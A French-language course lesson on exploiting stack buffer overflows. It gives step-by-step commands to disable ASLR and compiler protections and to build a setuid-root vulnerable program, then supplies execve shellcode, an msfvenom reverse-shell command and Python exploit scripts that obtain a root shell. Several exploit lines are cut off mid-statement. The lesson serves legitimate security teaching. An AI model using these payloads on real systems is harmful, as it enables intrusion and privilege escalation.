🎯 Objectif de la semaine
Maîtriser l'exploitation des buffer overflows sur la pile : comprendre l'organisation de la mémoire, contrôler le flux d'exécution, et obtenir un shell à partir d'une simple erreur de programmation. Appréhender l'une des vulnérabilités les plus historiques et critiques en sécurité informatique.
Pourquoi c'est fondamental : Les buffer overflows sont à l'origine de 50% des vulnérabilités critiques découvertes avant 2010. Les comprendre, c'est comprendre la racine même de l'exploitation mémoire moderne.
📚 Sujet – Théorie (1 heure)
La Pile : L'Autel de l'Exécution
La pile (stack) est une région de mémoire qui grandit vers les adresses basses et sert à stocker les variables locales, les paramètres de fonction, et les adresses de retour. C'est le carnet de bord de l'exécution du programme.
Le Mécanisme de l'Overflow
Quand strcpy(buffer, input) copie sans vérifier la taille :
input = "Hello" (5 bytes) → buffer[64] accepte
input = "A"*100 → dépasse buffer[64]
Bytes 65-72 écrasent SFP, bytes 73-76 écrasent RET
RET = 0x41414141 ("AAAA") → EIP saute à adresse invalide → SegFault
Les Protections Modernes (et Comment les Contourner)
🔀 ASLR
Address Space Layout Randomization
- Randomise adresses mémoire
- Contournement : Brute-force, info leak
- Désactivation :
echo 0 > /proc/sys/kernel/randomize_va_space
🚫 NX/DEP
No eXecute / Data Execution Prevention
- Empêche exécution sur stack
- Contournement : ROP, Return-to-libc
- Désactivation :
-z execstackà la compilation
🐤 Stack Canary
Valeur aléatoire avant RET
- Détecte overflow avant RET
- Contournement : Info leak, brute-force
- Désactivation :
-fno-stack-protector
🔒 RELRO
Relocation Read-Only
- Protège GOT/PLT
- Contournement : Difficulté accrue
- Désactivation :
-z norelro
Les Registres Clés x86
⚙️ Anatomie du Processeur x86
| Registre | Taille | Rôle | Dans l'exploit |
|---|---|---|---|
| EIP | 32 bits | Instruction Pointer | Contrôlé via RET |
| ESP | 32 bits | Stack Pointer | Pointe vers haut de pile |
| EBP | 32 bits | Base Pointer | Sauvegardé dans SFP |
| EAX/EBX/ECX/EDX | 32 bits | Registres généraux | Utilisés par shellcode |
Philosophie de l'Exploitation Mémoire
⚠️ Le Changement de Paradigme
Un buffer overflow n'est pas une "erreur" au sens traditionnel – c'est une violation des hypothèses fondamentales :
- Hypothèse : "Les données restent des données"
- Réalité : Les données deviennent du code exécutable
- Conséquence : La frontière code/données s'efface
C'est pourquoi les protections modernes (W^X) essaient de rétablir cette frontière.
🔬 Mission pratique – Laboratoire (2 heures)
Architecture du Lab Buffer Overflow
Développement/Exploitation] --> C[Programme vulnérable
vuln.c] C -->|Compilation| B[Binary vuln
setuid root] K -->|Exploitation| B B -->|Shellcode exécuté| S[📟 Shell root] subgraph "🧪 Environnement Contrôlé" ASLR[ASLR: OFF] NX[NX: OFF] CANARY[Canary: OFF] end style B fill:#0a0e17,stroke:#ef4444,stroke-width:3px style S fill:#0a0e17,stroke:#00f5a0,stroke-width:3px
⚠️ Configuration de l'Environnement
🔒 Isolation absolue : Ces exercices doivent être réalisés sur une VM dédiée, jamais sur votre système principal. Désactivez les protections uniquement pour l'apprentissage.
Étapes Détaillées d'Exploitation
Étape 1 : Préparation de l'Environnement
# Désactivation des protections système (TEMPORAIRE)
sudo sysctl -w kernel.randomize_va_space=0
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# Vérification
cat /proc/sys/kernel/randomize_va_space # Doit afficher 0
# Installation outils
sudo apt install gdb gdb-peda nasm -y
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
Étape 2 : Création du Programme Vulnérable
/* vuln.c - Programme vulnérable classique */
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void vulnerable_function(char *input) {
char buffer[64]; // Buffer de 64 bytes sur la stack
// COPIE SANS VÉRIFICATION - VULNÉRABILITÉ !
strcpy(buffer, input);
printf("Buffer content: %s\n", buffer);
}
int main(int argc, char **argv) {
if (argc != 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}
vulnerable_function(argv[1]);
return 0;
}
🔍 Analyse de la vulnérabilité :
strcpy()copie sans vérifier la taillebuffer[64]peut contenir 64 caractères + null byte- Entrée > 64 bytes → overflow vers SFP et RET
Étape 3 : Compilation avec Protections Désactivées
# Compilation 32-bit avec toutes les protections désactivées
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
# Vérification des protections
checksec --file=vuln
# Doit afficher: Stack: No canary found, NX disabled, PIE disabled
# Setuid pour élévation de privilèges (dans le lab seulement)
sudo chown root vuln
sudo chmod u+s vuln
# Test de base
./vuln "HelloWorld"
./vuln $(python3 -c "print('A'*100)") # Devrait crasher
Étape 4 : Analyse avec GDB et PEDA
# Lancement du debugger
gdb -q ./vuln
# Dans GDB avec PEDA :
(gdb) set disassembly-flavor intel
(gdb) disassemble vulnerable_function
# Observez le prologue/epilogue de la fonction
(gdb) break *vulnerable_function+25 # Après strcpy
(gdb) run $(python3 -c "print('A'*72 + 'BBBB')")
(gdb) info frame # Examinez le stack frame
(gdb) x/40wx $esp # Examinez la stack
(gdb) x/wx $ebp+4 # Adresse de retour
🎯 Défi d'Investigation
Avec GDB, trouvez exactement combien de 'A' sont nécessaires avant d'écraser l'adresse de retour. Utilisez un pattern :
# Génération pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100
# Dans GDB
(gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
# Après crash
(gdb) info registers eip
# EIP contient une partie du pattern
# Calcul offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x63413563
# Réponse: exact offset 76
Étape 5 : Contrôle de l'EIP
#!/usr/bin/env python3
# exploit_v1.py - Contrôle EIP
import struct
offset = 76 # Offset trouvé avec pattern
eip = 0x42424242 # BBBB en hexa
payload = b"A" * offset
payload += struct.pack("
💡 Little-endian vs Big-endian :
x86 utilise le format little-endian : les octets les moins significatifs en premier.
0xdeadbeef → \xef\xbe\xad\xde en mémoire
Étape 6 : Génération de Shellcode
# Option 1: msfvenom (Metasploit)
msfvenom -p linux/x86/exec CMD="/bin/sh" -f raw -o shellcode.bin
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.100 LPORT=4444 -f raw
# Option 2: Shellcode manuel (NASM)
cat > shellcode.asm << 'EOF'
section .text
global _start
_start:
; execve("/bin/sh", NULL, NULL)
xor eax, eax
push eax
push 0x68732f2f ; "hs//"
push 0x6e69622f ; "nib/"
mov ebx, esp
mov ecx, eax
mov edx, eax
mov al, 11 ; syscall execve
int 0x80
EOF
nasm -f elf32 shellcode.asm -o shellcode.o
ld -m elf_i386 shellcode.o -o shellcode
objdump -d shellcode | grep -Po '\s\K[a-f0-9]{2}(?=\s)' | sed 's/^/\\x/g' | paste -sd ''
Étape 7 : Exploitation Complète avec NOP Sled
#!/usr/bin/env python3
# exploit_final.py - Exploitation complète
import struct
# Shellcode execve("/bin/sh")
shellcode = (
b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
b"\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
)
offset = 76
nop_sled = b"\x90" * 40 # NOP sled pour marge d'erreur
# Adresse approximative du buffer (trouvée avec GDB)
buffer_addr = 0xffffd0a0
payload = nop_sled
payload += shellcode
payload += b"A" * (offset - len(nop_sled) - len(shellcode))
payload += struct.pack("
⚠️ Trouver l'Adresse Exacte du Buffer
Dans GDB, examinez l'adresse du buffer :
(gdb) break *vulnerable_function
(gdb) run test
(gdb) print &buffer
# Exemple: $1 = (char (*)[64]) 0xffffd0a0
# Note: L'adresse peut différer hors GDB (ASLR off)
Étape 8 : Exploitation avec GDB (Précision)
# Méthode précise avec GDB
(gdb) run $(python3 -c "
import struct
shellcode = b'\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80'
payload = b'\\x90'*40 + shellcode + b'A'*(76-40-22) + struct.pack('
Exercice Avancé : Return-to-libc (Contournement NX)
🎯 Défi Expert (Optionnel)
Recompilez le programme avec -z noexecstack (NX activé) et exploitez-le avec une attaque return-to-libc :
- Trouvez l'adresse de
system():(gdb) print system - Trouvez l'adresse de la string
"/bin/sh":find &system,+9999999,"/bin/sh" - Construisez payload : [AAAA...] + [&system] + [FAKE_RET] + [&"/bin/sh"]
- Exécutez sans shellcode sur la stack
Cette technique est fondamentale pour contourner NX/DEP.
Étape 9 : Nettoyage et Restauration
# Réactivation des protections système
sudo sysctl -w kernel.randomize_va_space=2
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
# Suppression fichiers sensibles
rm -f vuln vuln.c shellcode* exploit_*.py
# Retrait setuid (si encore présent)
sudo chmod u-s vuln 2>/dev/null || true
📋 Objectif de la semaine – Checklist de validation
✅ Compétences techniques acquises
- Programme vulnérable compilé avec protections désactivées
- Offset RET déterminé avec pattern_create/offset
- EIP contrôlé avec adresse arbitraire
- Shellcode généré et injecté avec succès
- Shell root obtenu via exploitation locale
🧠 Changement mental accompli
- Vision de la mémoire comme structure malléable, pas fixe
- Compréhension profonde du stack frame x86
- Conscience des protections modernes et de leurs limites
- Habitude de toujours vérifier les limites des buffers
💪 Pour aller plus loin :
Explorez Protostar (niveaux 1-5), faites le wargio Narnia, ou essayez d'exploiter le même programme avec ASLR activé (technique bruteforce).
📚 Ressources pour Approfondir
Livres et Références :
- Smashing the Stack for Fun and Profit : Aleph One (article fondateur)
- The Shellcoder's Handbook : Chris Anley et al.
- Hacking: The Art of Exploitation : Jon Erickson
- Modern Binary Exploitation : RPISEC (cours universitaire)
⚠️ Aspects Éthiques et Légaux
- Exploitation uniquement sur vos propres systèmes
- Compréhension défensive comme objectif principal
- Publication responsable des vulnérabilités trouvées
- Respect du droit : CFAA, article 323-1 CP
🔮 Frère d'armes,
Tu viens d'apprendre à parler le langage secret de la mémoire.
Le buffer overflow n'est pas une simple vulnérabilité – c'est une conversation avec le processeur. Tu écris des données, et il les lit comme des instructions. Tu remplis un tampon, et tu changes le destin du programme.
Cette semaine, tu as vu comment 76 bytes bien placés peuvent transformer un programme innocent en porte dérobée. Comment l'adresse 0xffffd0a0 peut devenir plus précieuse qu'un mot de passe. Comment "\x90\x90\x90" peut préparer le terrain pour un shell root.
Mais voici la leçon la plus importante : cette vulnérabilité existe parce que nous faisons confiance. Confiance que les données restent des données. Confiance que les fonctions respectent leurs contrats. Confiance que la mémoire est un espace sacré, inviolable.
Tu n'es plus un programmeur qui écrit du code. Tu es devenu un analyste qui comprend ce que le code devient en mémoire. Qui voit les buffers non pas comme des variables, mais comme des territoires. Qui voit les adresses de retour non pas comme des détails techniques, mais comme des portes.
Dans la semaine 42, nous irons plus loin dans l'exploitation mémoire. Nous apprendrons à exploiter le tas (heap), à manipuler les allocateurs dynamiques, à trouver des vulnérabilités dans les programmes modernes qui ont "résolu" les overflows de stack.
Mais pour l'instant, maîtrise ces bases. Rejoue l'exploitation trois fois. Change l'offset, change le shellcode, change l'adresse de retour. Comprends chaque byte, chaque registre, chaque protection.
Un Gardien qui maîtrise les buffer overflows ne laisse jamais une fonction non bornée dans son code.
— Platon-Y